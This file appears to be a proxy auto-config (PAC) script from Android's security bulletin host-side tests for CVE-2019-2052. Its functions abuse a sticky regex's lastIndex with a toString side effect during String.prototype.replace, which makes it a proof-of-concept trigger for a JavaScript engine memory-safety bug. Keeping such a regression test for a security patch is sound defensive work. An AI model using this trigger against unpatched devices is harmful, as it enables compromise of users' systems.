hostsidetests/securitybulletin/res/CVE-2019-2052.pac


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

function FindProxyForURL(url, host){
    for(var i = 0;i < 0x1000;i++){
        tt();
    }

    return "DIRECT";
}

function tt(){
    var evil_o = {};
    var reg = /abc/y;
    var num = {};
    num.toString = function(){
	    change_to_dict();
	    return 0x0;
    }


    function change_to_dict(){
	    for(var i = 0;i < 0x100;i++){
		    reg["a"+i.toString(16)] = i;
	    }
    }

    evil_o.toString = function(){
	    //change_to_dict();
	    reg.lastIndex = num;
	    return "abc".repeat(0x1000);
    }

    String.prototype.replace.call(evil_o,reg,function(){});
}